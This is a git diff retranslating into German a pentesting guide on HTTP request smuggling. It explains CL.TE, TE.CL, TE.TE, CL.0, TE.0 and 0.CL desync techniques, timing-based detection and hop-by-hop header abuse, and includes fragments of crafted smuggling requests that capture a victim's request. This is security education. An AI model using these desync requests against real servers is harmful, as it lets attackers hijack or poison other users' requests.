Translated ['src/pentesting-web/http-request-smuggling/README.md'] to de

2025-10-10 18:36:50 +00:00 · 2025-09-05 11:32:32 +00:00 · 2025-09-05 11:32:32 +00:00 · eac08a3186
commit eac08a3186
parent 0f984a91e6
1 changed files with 172 additions and 172 deletions
--- a/src/pentesting-web/http-request-smuggling/README.md
+++ b/src/pentesting-web/http-request-smuggling/README.md
@ -5,8 +5,8 @@

 ## Was ist

-Diese Schwachstelle tritt auf, wenn eine **Desynchronisation** zwischen **front-end proxies** und dem **back-end** Server es einem **Angreifer** erlaubt, eine HTTP **request** zu **senden**, die von den **front-end** proxies (load balance/reverse-proxy) als **eine Anfrage** und vom **back-end** Server **als 2 request** interpretiert wird.\
-Das ermöglicht einem Benutzer, die nächste request, die nach seiner beim back-end Server ankommt, zu verändern.
+Diese Schwachstelle tritt auf, wenn eine **Desynchronisation** zwischen **Front-End-Proxies** und dem **Back-End**-Server einem **Angreifer** erlaubt, eine HTTP-**Request** zu **senden**, die vom **Front-End** (Load-Balancer/Reverse-Proxy) als **eine Anfrage** und vom **Back-End**-Server als **2 Anfragen** interpretiert wird.\
+Das erlaubt einem Benutzer, die **nächste Anfrage, die beim Back-End-Server eingeht, zu manipulieren**.

 ### Theorie

@ -25,56 +25,57 @@ Das ermöglicht einem Benutzer, die nächste request, die nach seiner beim back-

 ### Realität

-Das **Front-End** (ein Load-Balancer / Reverse Proxy) verarbeitet den _**content-length**_ oder den _**transfer-encoding**_ Header und der **Back-end** Server verarbeitet den anderen, was eine **Desynchronisation** zwischen den beiden Systemen hervorruft.\
-Das kann sehr kritisch sein, da **ein Angreifer eine request** an den Reverse Proxy senden kann, die vom **back-end** Server **als 2 verschiedene requests** interpretiert wird. Die **Gefahr** dieser Technik liegt darin, dass der **back-end** Server die **2. injizierte request** so interpretieren wird, als stamme sie **vom nächsten Client**, und die **echte request** dieses Clients Teil der **injizierten request** wird.
+Das **Front-End** (ein Load-Balancer / Reverse-Proxy) **verarbeitet** entweder den _**Content-Length**_- oder den _**Transfer-Encoding**_-Header und der **Back-End**-Server **verarbeitet den anderen**, wodurch eine **Desynchronisation** zwischen den beiden Systemen entsteht.\
+Das kann sehr kritisch sein, da **ein Angreifer eine Anfrage** an den Reverse-Proxy senden kann, die vom **Back-End**-Server **als zwei verschiedene Anfragen** interpretiert wird. Die **Gefahr** dieser Technik liegt darin, dass der **Back-End**-Server die **zweite injizierte Anfrage** so übernimmt, als käme sie **vom nächsten Client**, und die **echte Anfrage** dieses Clients Teil der **injizierten Anfrage** wird.

 ### Besonderheiten

 Denke daran, dass in HTTP **ein Newline-Zeichen aus 2 Bytes besteht:**

- **Content-Length**: Dieser Header verwendet eine **dezimale Zahl**, um die **Anzahl** der **Bytes** des **Bodys** der request anzugeben. Der Body wird erwartet, im letzten Zeichen zu enden, **ein Newline am Ende der Anfrage ist nicht erforderlich**.
- **Transfer-Encoding:** Dieser Header verwendet im **Body** eine **hexadezimale Zahl**, um die **Anzahl** der **Bytes** des **nächsten Chunks** anzugeben. Der **Chunk** muss mit einem **Newline** enden, aber dieses Newline wird **nicht** von der Längenangabe mitgezählt. Diese Transfer-Methode muss mit einem **Chunk der Größe 0 gefolgt von 2 Newlines** enden: `0`
- **Connection**: Nach meiner Erfahrung ist es empfehlenswert, beim ersten Request des Request Smugglings **`Connection: keep-alive`** zu verwenden.
+- **Content-Length**: Dieser Header verwendet eine **dezimale Zahl**, um die **Anzahl** der **Bytes** des **Request-Bodys** anzugeben. Der Body wird erwartet, im letzten Zeichen zu enden, **ein Newline am Ende der Anfrage ist nicht nötig**.
+- **Transfer-Encoding:** Dieser Header verwendet im **Body** eine **hexadezimale Zahl**, um die **Anzahl** der **Bytes** des **nächsten Chunks** anzugeben. Der **Chunk** muss mit einem **Newline** enden, aber dieses Newline **wird nicht** von der Längenangabe mitgezählt. Diese Transfer-Methode muss mit einem **Chunk der Größe 0 gefolgt von 2 Newlines** enden: `0`
+- **Connection**: Nach meiner Erfahrung ist es empfehlenswert, im ersten Request des Request Smuggling **`Connection: keep-alive`** zu verwenden.

 ### Visible - Hidden

-Das Hauptproblem bei http/1.1 ist, dass alle requests über denselben TCP-Socket laufen. Wenn also eine Diskrepanz zwischen zwei Systemen festgestellt wird, die requests empfangen, ist es möglich, eine request zu senden, die vom finalen Backend (oder sogar von Zwischenkomponenten) als 2 verschiedene requests (oder mehr) behandelt wird.
+Das Hauptproblem bei HTTP/1.1 ist, dass alle Requests über denselben TCP-Socket laufen. Wenn eine Diskrepanz zwischen zwei Systemen besteht, die Requests empfangen, ist es möglich, eine Anfrage zu senden, die beim finalen Backend (oder sogar bei Zwischen-Systemen) als zwei verschiedene Anfragen behandelt wird.

-**[Dieser Blog-Post](https://portswigger.net/research/http1-must-die)** schlägt neue Wege vor, Desync-Angriffe auf ein System zu erkennen, die von WAFs nicht markiert werden. Dazu stellt er die Visible vs Hidden Verhaltensweisen vor. Das Ziel ist in diesem Fall, Diskrepanzen in den Antworten zu finden mit Techniken, die Desyncs verursachen könnten, ohne tatsächlich etwas auszunutzen.
+**[This blog post](https://portswigger.net/research/http1-must-die)** schlägt neue Wege vor, Desync-Angriffe auf ein System zu entdecken, die von WAFs nicht erkannt werden. Dafür stellt es die Visible vs Hidden-Verhaltensweisen vor. Das Ziel ist in diesem Fall, Diskrepanzen in den Antworten zu finden mithilfe von Techniken, die Desyncs verursachen könnten, ohne tatsächlich etwas auszunutzen.

-Zum Beispiel: Wenn eine request mit dem normalen Host-Header und einem " host"-Header gesendet wird — und das Backend sich über diese Anfrage beschwert (vielleicht weil der Wert von " host" falsch ist) — kann das darauf hindeuten, dass das Front-End den " host"-Header nicht gesehen hat, während das finale Backend ihn verwendet hat, was sehr wahrscheinlich eine Desynchronisation zwischen Front-End und Back-end impliziert.
+Beispielsweise kann das Senden einer Anfrage mit dem normalen Host-Header und einem " host"-Header — wenn das Backend über diese Anfrage meckert (vielleicht weil der Wert von " host" inkorrekt ist) — darauf hindeuten, dass das Front-End den " host"-Header nicht gesehen hat, das finale Backend ihn aber verwendet hat, was sehr wahrscheinlich eine Desynchronisation zwischen Front-End und Back-End impliziert.

-Das wäre eine **Hidden-Visible discrepancy**.
+Das wäre eine **Hidden-Visible Diskrepanz**.

-Wenn das Front-End den " host"-Header berücksichtigt hätte, das Front-End es aber nicht tat, wäre das eine **Visible-Hidden** Situation.
+Wenn das Front-End den " host"-Header berücksichtigt hätte, das Back-End jedoch nicht, wäre das eine **Visible-Hidden**-Situation.

-Zum Beispiel ermöglichte dies die Entdeckung von Desyncs zwischen AWS ALB als Front-End und IIS als Backend. Das lag daran, dass beim Senden von "Host: foo/bar" der ALB `400, Server; awselb/2.0` zurückgab, aber beim Senden von "Host : foo/bar" `400, Server: Microsoft-HTTPAPI/2.0` zurückgegeben wurde, was darauf hindeutete, dass das Backend die Antwort geschickt hat. Das ist eine Hidden-Visible (H-V) Situation.
+Zum Beispiel ermöglichte dies das Entdecken von Desyncs zwischen AWS ALB als Front-End und IIS als Backend. Das lag daran, dass nach dem Senden von "Host: foo/bar" das ALB `400, Server; awselb/2.0` zurückgab, aber bei "Host : foo/bar" `400, Server: Microsoft-HTTPAPI/2.0` zurückkam, was darauf hinwies, dass das Backend die Antwort sendete. Das ist eine Hidden-Visible (H-V)-Situation.

-Beachte, dass diese Situation bei AWS nicht korrigiert ist, aber sie kann verhindert werden, indem man `routing.http.drop_invalid_header_fields.enabled` und `routing.http.desync_mitigation_mode = strictest` setzt.
+Beachte, dass diese Situation nicht in AWS korrigiert wurde, aber sie kann verhindert werden, indem `routing.http.drop_invalid_header_fields.enabled` und `routing.http.desync_mitigation_mode = strictest` gesetzt werden.

-## Grundlegende Beispiele
+
+## Basic Examples

 > [!TIP]
-> Beim Versuch, dies mit Burp Suite auszunutzen, **deaktiviere `Update Content-Length` und `Normalize HTTP/1 line endings`** im Repeater, da manche Gadgets Newlines, Carriage Returns und malformed Content-Lengths ausnutzen.
+> Beim Versuch, dies mit Burp Suite auszunutzen, **deaktiviere `Update Content-Length` und `Normalize HTTP/1 line endings`** im Repeater, da manche Gadgets Newlines, Carriage Returns und fehlerhafte Content-Lengths ausnutzen.

-HTTP request smuggling Angriffe werden durch das Senden ambiger Anfragen konstruiert, die Diskrepanzen in der Interpretation der Header `Content-Length` (CL) und `Transfer-Encoding` (TE) zwischen Front-End und Back-End ausnutzen. Diese Angriffe können in verschiedenen Formen auftreten, hauptsächlich als **CL.TE**, **TE.CL** und **TE.TE**. Jeder Typ repräsentiert eine einzigartige Kombination davon, wie Front-End und Back-End diese Header priorisieren. Die Verwundbarkeiten entstehen, weil die Server dieselbe Anfrage unterschiedlich verarbeiten, was zu unerwarteten und potenziell bösartigen Ergebnissen führen kann.
+HTTP request smuggling attacks werden durch das Senden ambiger Requests erzeugt, die Diskrepanzen in der Interpretation der `Content-Length` (CL) und `Transfer-Encoding` (TE)-Header zwischen Front-End und Back-End ausnutzen. Diese Angriffe können in verschiedenen Formen auftreten, hauptsächlich als **CL.TE**, **TE.CL** und **TE.TE**. Jede Art repräsentiert eine andere Kombination, wie Front-End und Back-End diese Header priorisieren. Die Verwundbarkeiten entstehen, wenn die Server dieselbe Anfrage unterschiedlich verarbeiten, was zu unerwarteten und potenziell bösartigen Ergebnissen führen kann.

-### Grundlegende Beispiele für Verwundbarkeitstypen
+### Grundlegende Beispiele für Verwundbarkeits-Typen

 ![https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../images/EKi5edAUUAAIPIK.jpg)

 > [!TIP]
-> Zu der vorherigen Tabelle sollte die TE.0-Technik hinzugefügt werden, ähnlich wie die CL.0-Technik, aber mit Transfer-Encoding.
+> Zu der vorherigen Tabelle sollte man die TE.0-Technik hinzufügen, ähnlich wie die CL.0-Technik, aber mit Transfer-Encoding.

-#### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
+#### CL.TE Vulnerability (Content-Length vom Front-End verwendet, Transfer-Encoding vom Back-End verwendet)

- **Front-End (CL):** Verarbeitet die Anfrage basierend auf dem `Content-Length` Header.
- **Back-End (TE):** Verarbeitet die Anfrage basierend auf dem `Transfer-Encoding` Header.
+- **Front-End (CL):** Verarbeitet die Anfrage basierend auf dem `Content-Length`-Header.
+- **Back-End (TE):** Verarbeitet die Anfrage basierend auf dem `Transfer-Encoding`-Header.
 - **Angriffsszenario:**

- Der Angreifer sendet eine Anfrage, bei der der Wert des `Content-Length` Headers nicht der tatsächlichen Inhaltslänge entspricht.
- Das Front-End leitet die gesamte Anfrage basierend auf dem `Content-Length` Wert an das Back-End weiter.
- Das Back-End verarbeitet die Anfrage als chunked wegen des `Transfer-Encoding: chunked` Headers und interpretiert die verbleibenden Daten als separate, nachfolgende request.
+- Der Angreifer sendet eine Anfrage, bei der der Wert des `Content-Length`-Headers nicht mit der tatsächlichen Content-Länge übereinstimmt.
+- Das Front-End leitet die gesamte Anfrage an das Back-End weiter, basierend auf dem `Content-Length`-Wert.
+- Das Back-End verarbeitet die Anfrage als chunked aufgrund des `Transfer-Encoding: chunked`-Headers und interpretiert die verbleibenden Daten als eine separate, nachfolgende Anfrage.
 - **Beispiel:**

 ```
@ -90,15 +91,15 @@ GET /404 HTTP/1.1
 Foo: x
 ```

-#### TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
+#### TE.CL Vulnerability (Transfer-Encoding vom Front-End verwendet, Content-Length vom Back-End verwendet)

- **Front-End (TE):** Verarbeitet die Anfrage basierend auf dem `Transfer-Encoding` Header.
- **Back-End (CL):** Verarbeitet die Anfrage basierend auf dem `Content-Length` Header.
+- **Front-End (TE):** Verarbeitet die Anfrage basierend auf dem `Transfer-Encoding`-Header.
+- **Back-End (CL):** Verarbeitet die Anfrage basierend auf dem `Content-Length`-Header.
 - **Angriffsszenario:**

- Der Angreifer sendet eine chunked request, bei der die Chunk-Größe (`7b`) und die tatsächliche Inhaltslänge (`Content-Length: 4`) nicht übereinstimmen.
- Das Front-End, das `Transfer-Encoding` beachtet, leitet die gesamte Anfrage an das Back-End weiter.
- Das Back-End, das `Content-Length` respektiert, verarbeitet nur den anfänglichen Teil der Anfrage (`7b` Bytes) und lässt den Rest als Teil einer unbeabsichtigten nachfolgenden request übrig.
+- Der Angreifer sendet eine chunked-Anfrage, bei der die Chunk-Größe (`7b`) und die tatsächliche Content-Länge (`Content-Length: 4`) nicht übereinstimmen.
+- Das Front-End, das `Transfer-Encoding` berücksichtigt, leitet die gesamte Anfrage an das Back-End weiter.
+- Das Back-End, das `Content-Length` respektiert, verarbeitet nur den initialen Teil der Anfrage (`7b` Bytes) und lässt den Rest als Teil einer unbeabsichtigten nachfolgenden Anfrage stehen.
 - **Beispiel:**

 ```
@ -119,14 +120,14 @@ x=

 ```

-#### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
+#### TE.TE Vulnerability (Transfer-Encoding von beiden unterstützt, mit Obfuskation)

- **Servers:** Beide unterstützen `Transfer-Encoding`, aber einer kann durch Obfuskation dazu gebracht werden, es zu ignorieren.
+- **Server:** Beide unterstützen `Transfer-Encoding`, aber einer kann durch Obfuskation dazu gebracht werden, es zu ignorieren.
 - **Angriffsszenario:**

- Der Angreifer sendet eine Anfrage mit obfuskierten `Transfer-Encoding` Headers.
+- Der Angreifer sendet eine Anfrage mit obfuskierten `Transfer-Encoding`-Headern.
 - Je nachdem, welcher Server (Front-End oder Back-End) die Obfuskation nicht erkennt, kann eine CL.TE- oder TE.CL-Verwundbarkeit ausgenutzt werden.
- Der nicht verarbeitete Teil der Anfrage, wie er von einem der Server gesehen wird, wird Teil einer nachfolgenden Anfrage und führt so zu Smuggling.
+- Der nicht verarbeitete Teil der Anfrage, wie von einem der Server gesehen, wird Teil einer nachfolgenden Anfrage und führt so zum Smuggling.
 - **Beispiel:**

 ```
@ -146,10 +147,10 @@ Transfer-Encoding
 : chunked
 ```

-#### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**
+#### **CL.CL Szenario (Content-Length von Front-End und Back-End verwendet)**

- Beide Server verarbeiten die Anfrage ausschließlich basierend auf dem `Content-Length` Header.
- Dieses Szenario führt typischerweise nicht zu Smuggling, da es eine Übereinstimmung in der Interpretation der Anfrage-Länge gibt.
+- Beide Server verarbeiten die Anfrage ausschließlich basierend auf dem `Content-Length`-Header.
+- Dieses Szenario führt typischerweise nicht zu Smuggling, da beide Server in der Interpretation der Request-Länge übereinstimmen.
 - **Beispiel:**

 ```
@ -161,10 +162,10 @@ Connection: keep-alive
 Normal Request
 ```

-#### **CL.0 Scenario**
+#### **CL.0 Szenario**

- Bezieht sich auf Szenarien, in denen der `Content-Length` Header vorhanden ist und einen Wert ungleich null hat, der anzeigt, dass der Request-Body Inhalt hat. Das Back-End ignoriert den `Content-Length` Header (der als 0 behandelt wird), aber das Front-End parst ihn.
- Das ist wichtig beim Verständnis und beim Erstellen von Smuggling-Angriffen, da es beeinflusst, wie Server das Ende einer Anfrage bestimmen.
+- Bezieht sich auf Szenarien, in denen der `Content-Length`-Header vorhanden ist und einen Wert ungleich Null hat, was anzeigt, dass der Request-Body Inhalt hat. Das Back-End ignoriert den `Content-Length`-Header (behandelt ihn als 0), aber das Front-End parst ihn.
+- Das ist wichtig zum Verständnis und zur Erstellung von Smuggling-Angriffen, da es beeinflusst, wie Server das Ende einer Anfrage bestimmen.
 - **Beispiel:**

 ```
@ -176,7 +177,7 @@ Connection: keep-alive
 Non-Empty Body
 ```

-#### TE.0 Scenario
+#### TE.0 Szenario

 - Wie das vorherige, aber mit TE.
 - Technik [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
@ -200,7 +201,7 @@ EMPTY_LINE_HERE
 ```
 #### `0.CL` Szenario

-In einer `0.CL`-Situation wird eine Anfrage mit einer Content-Length wie folgt gesendet:
+In einer `0.CL`-Situation wird eine Anfrage mit einem Content-Length-Header wie folgt gesendet:
 ```
 GET /Logon HTTP/1.1
 Host: <redacted>
@ -210,46 +211,46 @@ Content-Length:
 GET /404 HTTP/1.1
 X: Y
 ```
-Und das front-end berücksichtigt den `Content-Length` nicht, sodass es nur die erste request an das backend sendet (bis zur 7 im Beispiel). Das backend sieht jedoch den `Content-Length` und wartet auf einen Body, der nie ankommt, weil das front-end bereits auf die Antwort wartet.
+Und das front-end berücksichtigt die `Content-Length` nicht, sodass es nur die erste Anfrage an das backend sendet (bis zur 7 im Beispiel). Das backend sieht jedoch die `Content-Length` und wartet auf einen Body, der nie ankommt, weil das front-end bereits auf die Antwort wartet.

-Wenn es jedoch eine request gibt, die an das backend gesendet werden kann und die beantwortet wird, bevor der Body der request eingetroffen ist, tritt dieser Deadlock nicht auf. Bei IIS passiert das zum Beispiel, wenn man requests an verbotene Namen wie `/con` sendet (siehe die [documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file)). Auf diese Weise wird die initiale request direkt beantwortet und die zweite request wird die request des Opfers enthalten wie:
+Wenn es jedoch möglich ist, eine Anfrage an das backend zu senden, die beantwortet wird, bevor der Body empfangen wurde, tritt dieser deadlock nicht auf. In IIS passiert das z. B., wenn Anfragen an reservierte Namen wie `/con` gesendet werden (check the [documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file)), auf diese Weise wird die initiale Anfrage direkt beantwortet und die zweite Anfrage enthält die Anfrage des Opfers wie:
 ```
 GET / HTTP/1.1
 X: yGET /victim HTTP/1.1
 Host: <redacted>
 ```
-Das ist nützlich, um eine desync zu verursachen, hat aber bisher keine Auswirkungen.
+Das ist nützlich, um eine desync zu verursachen, hatte bisher aber keine Auswirkungen.

-Der Beitrag bietet dafür jedoch eine Lösung, indem er eine **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)** umwandelt.
+Der Beitrag bietet jedoch eine Lösung: die Konvertierung einer **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)**.

 #### Den Webserver zum Absturz bringen

-Diese Technik ist auch in Szenarien nützlich, in denen es möglich ist, einen Webserver **während des Einlesens der initialen HTTP-Daten zum Absturz zu bringen**, ohne **die Verbindung zu schließen**. Auf diese Weise wird der **Body** der HTTP-Anfrage als die **nächste HTTP-Anfrage** betrachtet.
+Diese Technik ist auch nützlich in Szenarien, in denen es möglich ist, einen Webserver zu brechen, während die initialen HTTP-Daten gelesen werden, aber ohne die Verbindung zu schließen. Auf diese Weise wird der **body** der HTTP-Anfrage als die **nächste HTTP-Anfrage** betrachtet.

-Zum Beispiel, wie in [**this writeup**](https://mizu.re/post/twisty-python) erklärt, war es in Werkzeug möglich, einige **Unicode**-Zeichen zu senden, die den Server zum **Absturz** brachten. Wenn die HTTP-Verbindung jedoch mit dem Header **`Connection: keep-alive`** erstellt wurde, wird der Body der Anfrage nicht eingelesen und die Verbindung bleibt offen, sodass der **Body** der Anfrage als die **nächste HTTP-Anfrage** behandelt wird.
+Zum Beispiel, wie in [**this writeup**](https://mizu.re/post/twisty-python) erklärt, war es in Werkzeug möglich, einige **Unicode**-Zeichen zu senden, wodurch der Server **abstürzen** würde. Allerdings: wenn die HTTP-Verbindung mit dem Header **`Connection: keep-alive`** erstellt wurde, wird der body der Anfrage nicht gelesen und die Verbindung bleibt offen, sodass der **body** der Anfrage als die **nächste HTTP-Anfrage** behandelt wird.

 #### Erzwingen mittels hop-by-hop-Header

-Durch das Missbrauchen von hop-by-hop-Headern können Sie den Proxy dazu veranlassen, den Header Content-Length oder Transfer-Encoding zu **löschen, sodass ein HTTP request smuggling ausgenutzt werden kann**.
+Durch Missbrauch von hop-by-hop-Headern könntest du dem Proxy signalisieren, den Header Content-Length oder Transfer-Encoding zu **löschen, sodass HTTP request smuggling möglich ist**.
 ```
 Connection: Content-Length
 ```
-Für **more information about hop-by-hop headers** siehe:
+For **more information about hop-by-hop headers** visit:


 {{#ref}}
 ../abusing-hop-by-hop-headers.md
 {{#endref}}

-## Erkennung von HTTP Request Smuggling
+## Auffinden von HTTP Request Smuggling

-Die Identifizierung von Schwachstellen im Zusammenhang mit HTTP request smuggling kann oft mithilfe von Timing-Techniken erfolgen, bei denen beobachtet wird, wie lange der Server benötigt, um auf manipulierte Anfragen zu antworten. Diese Techniken sind besonders nützlich zum Aufspüren von CL.TE- und TE.CL-Schwachstellen. Neben diesen Methoden gibt es weitere Strategien und Tools, die zum Auffinden solcher Schwachstellen eingesetzt werden können:
+Das Identifizieren von HTTP request smuggling Schwachstellen lässt sich oft mithilfe von timing techniques erreichen, die darauf beruhen, zu beobachten, wie lange der server benötigt, um auf manipulierte requests zu antworten. Diese Techniken sind besonders nützlich, um CL.TE- und TE.CL-Schwachstellen zu erkennen. Zusätzlich zu diesen Methoden gibt es weitere Strategien und Werkzeuge, die zum Auffinden solcher Schwachstellen eingesetzt werden können:

-### Finden von CL.TE-Schwachstellen mithilfe von Timing-Techniken
+### Finden von CL.TE-Schwachstellen mittels Timing-Techniken

 - **Methode:**

- Sende eine Anfrage, die, falls die Anwendung verwundbar ist, dazu führt, dass der Back-End-Server auf zusätzliche Daten wartet.
+- Sende eine Anfrage, die, falls die Anwendung verwundbar ist, dazu führt, dass der back-end server auf zusätzliche Daten wartet.
 - **Beispiel:**

 ```
@ -265,18 +266,18 @@ A
 ```

 - **Beobachtung:**
- Der Front-End-Server verarbeitet die Anfrage basierend auf `Content-Length` und schneidet die Nachricht vorzeitig ab.
- Der Back-End-Server, der eine chunked message erwartet, wartet auf den nächsten Chunk, der nie ankommt, was eine Verzögerung verursacht.
+- Der front-end server verarbeitet die Anfrage basierend auf `Content-Length` und schneidet die Nachricht vorzeitig ab.
+- Der back-end server, der eine chunked-Nachricht erwartet, wartet auf das nächste Chunk, das nie ankommt, was zu einer Verzögerung führt.

 - **Indikatoren:**
- Timeouts oder lange Verzögerungen in der Antwort.
- Empfang eines 400 Bad Request-Fehlers vom Back-End-Server, manchmal mit detaillierten Serverinformationen.
+- Timeouts oder lange Verzögerungen bei der Antwort.
+- Empfang einer 400 Bad Request-Antwort vom back-end server, manchmal mit detaillierten Serverinformationen.

-### Finden von TE.CL-Schwachstellen mithilfe von Timing-Techniken
+### Finden von TE.CL-Schwachstellen mittels Timing-Techniken

 - **Methode:**

- Sende eine Anfrage, die, falls die Anwendung verwundbar ist, dazu führt, dass der Back-End-Server auf zusätzliche Daten wartet.
+- Sende eine Anfrage, die, falls die Anwendung verwundbar ist, dazu führt, dass der back-end server auf zusätzliche Daten wartet.
 - **Beispiel:**

 ```
@ -291,23 +292,23 @@ X
 ```

 - **Beobachtung:**
- Der Front-End-Server verarbeitet die Anfrage basierend auf `Transfer-Encoding` und leitet die gesamte Nachricht weiter.
- Der Back-End-Server, der eine Nachricht basierend auf `Content-Length` erwartet, wartet auf zusätzliche Daten, die nie eintreffen, was eine Verzögerung verursacht.
+- Der front-end server verarbeitet die Anfrage basierend auf `Transfer-Encoding` und leitet die gesamte Nachricht weiter.
+- Der back-end server, der eine Nachricht basierend auf `Content-Length` erwartet, wartet auf zusätzliche Daten, die nie eintreffen, wodurch eine Verzögerung entsteht.

 ### Weitere Methoden zum Auffinden von Schwachstellen

- **Differential Response Analysis:**
- Sende leicht veränderte Versionen einer Anfrage und beobachte, ob sich die Serverantworten unerwartet unterscheiden, was auf eine Parsing-Diskrepanz hindeutet.
- **Verwendung automatisierter Tools:**
- Tools wie Burp Suite's 'HTTP Request Smuggler' Erweiterung können automatisch auf diese Schwachstellen testen, indem sie verschiedene Formen ambiger Anfragen senden und die Antworten analysieren.
- **Content-Length-Varianztests:**
- Sende Anfragen mit unterschiedlichen `Content-Length`-Werten, die nicht mit der tatsächlichen Inhaltslänge übereinstimmen, und beobachte, wie der Server mit solchen Abweichungen umgeht.
- **Transfer-Encoding-Varianztests:**
- Sende Anfragen mit verschleierten oder fehlerhaften `Transfer-Encoding`-Headern und überwache, wie unterschiedlich Front-End- und Back-End-Server auf solche Manipulationen reagieren.
+- **Differenzielle Antwortanalyse:**
+- Sende leicht unterschiedliche Versionen einer Anfrage und beobachte, ob sich die server responses auf unerwartete Weise unterscheiden, was auf eine Parsing-Diskrepanz hinweist.
+- **Einsatz automatisierter Tools:**
+- Tools wie Burp Suite's 'HTTP Request Smuggler' extension können automatisch nach diesen Schwachstellen testen, indem sie verschiedene Formen ambiger requests senden und die Antworten analysieren.
+- **Content-Length-Varianz-Tests:**
+- Sende Anfragen mit variierenden `Content-Length`-Werten, die nicht mit der tatsächlichen Inhaltslänge übereinstimmen, und beobachte, wie der server mit solchen Abweichungen umgeht.
+- **Transfer-Encoding-Varianz-Tests:**
+- Sende Anfragen mit verschleierten oder fehlerhaften `Transfer-Encoding`-Headern und überwache, wie unterschiedlich front-end und back-end server auf solche Manipulationen reagieren.

-### Der `Expect: 100-continue`-Header
+### The `Expect: 100-continue` header

-Überprüfe, wie dieser Header beim Ausnutzen einer HTTP-Desynchronisation helfen kann in:
+Prüfe, wie dieser Header beim Ausnutzen eines http desync helfen kann in:

 {{#ref}}
 ../../network-services-pentesting/pentesting-web/special-http-headers.md
@ -315,25 +316,25 @@ X

 ### HTTP Request Smuggling Vulnerability Testing

-Nachdem die Wirksamkeit der Timing-Techniken bestätigt wurde, ist es entscheidend zu prüfen, ob Client-Anfragen manipuliert werden können. Eine einfache Methode ist zu versuchen, deine Anfragen zu poisonen, zum Beispiel eine Anfrage an `/` so zu gestalten, dass sie eine 404-Antwort erzeugt. Die `CL.TE`- und `TE.CL`-Beispiele, die zuvor in [Basic Examples](#basic-examples) behandelt wurden, zeigen, wie man eine Client-Anfrage vergiften kann, um eine 404-Antwort zu erzwingen, obwohl der Client versucht, eine andere Ressource zu erreichen.
+Nachdem die Effektivität der timing techniques bestätigt wurde, ist es wichtig zu verifizieren, ob client requests manipuliert werden können. Eine einfache Methode besteht darin, zu versuchen, deine requests zu vergiften, zum Beispiel indem du eine Anfrage an `/` so manipulierst, dass sie eine 404-Antwort erzeugt. Die CL.TE- und TE.CL-Beispiele, die zuvor in [Basic Examples](#basic-examples) besprochen wurden, zeigen, wie man eine client-Anfrage vergiften kann, um eine 404-Antwort zu provozieren, obwohl der Client versucht, auf eine andere Ressource zuzugreifen.

 **Wichtige Überlegungen**

-Beim Testen auf request smuggling-Schwachstellen durch Beeinflussung anderer Anfragen beachte:
+Beim Testen auf request smuggling-Schwachstellen durch das Beeinflussen anderer requests solltest du beachten:

- **Getrennte Netzwerkverbindungen:** Die "attack" und "normal" Requests sollten über separate Netzwerkverbindungen gesendet werden. Die Verwendung derselben Verbindung für beide bestätigt nicht das Vorhandensein der Schwachstelle.
- **Konsistente URL und Parameter:** Versuche, für beide Anfragen identische URLs und Parameternamen zu verwenden. Moderne Anwendungen leiten Requests oft basierend auf URL und Parametern an bestimmte Back-End-Server weiter. Übereinstimmung erhöht die Wahrscheinlichkeit, dass beide Anfragen vom selben Server verarbeitet werden, was Voraussetzung für einen erfolgreichen Angriff ist.
- **Timing- und Race-Bedingungen:** Die "normal" Anfrage, die dazu dient, eine Beeinflussung durch die "attack" Anfrage zu erkennen, konkurriert mit anderen gleichzeitigen Anfragen der Anwendung. Sende daher die "normal" Anfrage unmittelbar nach der "attack" Anfrage. Bei stark ausgelasteten Anwendungen können mehrere Versuche erforderlich sein, um die Schwachstelle eindeutig zu bestätigen.
- **Herausforderungen durch Load Balancing:** Front-End-Server, die als Load Balancer fungieren, können Anfragen auf verschiedene Back-End-Systeme verteilen. Wenn die "attack" und "normal" Requests auf unterschiedlichen Systemen landen, schlägt der Angriff fehl. Dieser Aspekt des Load Balancings kann mehrere Versuche zur Bestätigung einer Schwachstelle erfordern.
- **Unbeabsichtigte Auswirkungen auf Benutzer:** Wenn dein Angriff unbeabsichtigt die Anfrage eines anderen Benutzers (nicht die von dir gesendete "normal" Anfrage zur Erkennung) beeinflusst, zeigt das, dass dein Angriff einen anderen Anwender der Anwendung beeinflusst hat. Fortgesetzte Tests könnten andere Benutzer stören, daher ist Vorsicht geboten.
+- **Getrennte Netzwerkverbindungen:** Die "Angriffs"- und die "normale" Anfrage sollten über separate Netzwerkverbindungen gesendet werden. Die Verwendung derselben Verbindung für beide validiert die Anwesenheit der Schwachstelle nicht.
+- **Konsistente URL und Parameter:** Versuche, identische URLs und Parameternamen für beide Anfragen zu verwenden. Moderne Anwendungen routen Anfragen oft an bestimmte back-end server basierend auf URL und Parametern. Übereinstimmung erhöht die Wahrscheinlichkeit, dass beide Anfragen vom selben Server verarbeitet werden — eine Voraussetzung für einen erfolgreichen Angriff.
+- **Timing und Rennbedingungen:** Die "normale" Anfrage, die dazu gedacht ist, eine Beeinflussung durch die "Angriffs"-Anfrage zu erkennen, konkurriert mit anderen gleichzeitigen Anwendungsanfragen. Sende daher die "normale" Anfrage unmittelbar nach der "Angriffs"-Anfrage. Stark ausgelastete Anwendungen können mehrere Versuche erfordern, um eine eindeutige Bestätigung der Schwachstelle zu erhalten.
+- **Herausforderungen durch Load Balancer:** Front-end server, die als Load Balancer agieren, können Anfragen auf verschiedene back-end Systeme verteilen. Wenn die "Angriffs"- und die "normale" Anfrage auf unterschiedlichen Systemen landen, schlägt der Angriff fehl. Dieser Load-Balancing-Aspekt kann mehrere Versuche zur Bestätigung einer Schwachstelle erfordern.
